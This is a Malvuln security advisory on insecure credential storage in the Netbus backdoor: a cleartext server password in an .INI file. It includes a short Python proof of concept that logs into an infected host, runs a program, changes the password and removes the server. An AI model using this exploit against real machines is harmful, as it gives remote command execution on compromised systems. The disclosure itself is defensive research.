📄 Backdoor.Win32.Netbus.170 MVID-2025-0703 Insecure Credential Storage

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2025
    Original source: https://malvuln.com/advisory/086f0693f81f6d40460c215717349a1f.txt
    Malvuln Intelligence Feed: https://intel.malvuln.com/
    Contact: [email protected]
    Media: x.com/malvuln 
    
    Threat: Backdoor.Win32.Netbus.170
    Vulnerability: Insecure Credential Storage
    Family: Netbus
    Type: PE32
    Attack-pattern TTP: Unsecured Credentials (T1552)
    MD5: 086f0693f81f6d40460c215717349a1f
    SHA256: bba330e82434d3bcf41e18d7d15df8117883e761aa50858028833a7da84b271c
    Vuln ID: MVID-2025-0703
    Dropped files: C:\Windows\KeyHook.dll
    Disclosure: 12/23/2025
    Description: The malware listens on TCP ports 12632 and 12631. The backdoor server password "ecoli" is stored in cleartext in an .INI textfile, stored under "C:\Windows" having the same name as the malware. Third party attackers who have knowledge of the password can login and issue various commands separated  by semicolon. Commands include program execution, change the backdoor password and malware removal using command "RemoveServer;1".
    
    [Settings]
    Port1=12631
    ServerPwd=ecoli
    LogTraffic=0
    MailTo=
    MailFrom=
    MailHost=
    
    Exploit/PoC:
    from socket import *
    
    MALWARE_HOST="x.x.x.x"
    PORT=12631
    
    def main():
    
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((MALWARE_HOST, PORT))
    
        PAYLOAD="Password;0;ecoli\r\n" 
        s.send(PAYLOAD.encode())
    
        #Run a program or app:
        s.send("StartApp;calc\r\n".encode()) 
    
        #Change backdoor password
        s.send("ServerPwd;malvuln;\r\n".encode())
        print(chk_res(s))
    
        #Remove backdoor use command ; 1 
        s.send("RemoveServer;1\r\n".encode())
    
        s.close()
    
    if __name__ == "__main__":
        main()
    
    
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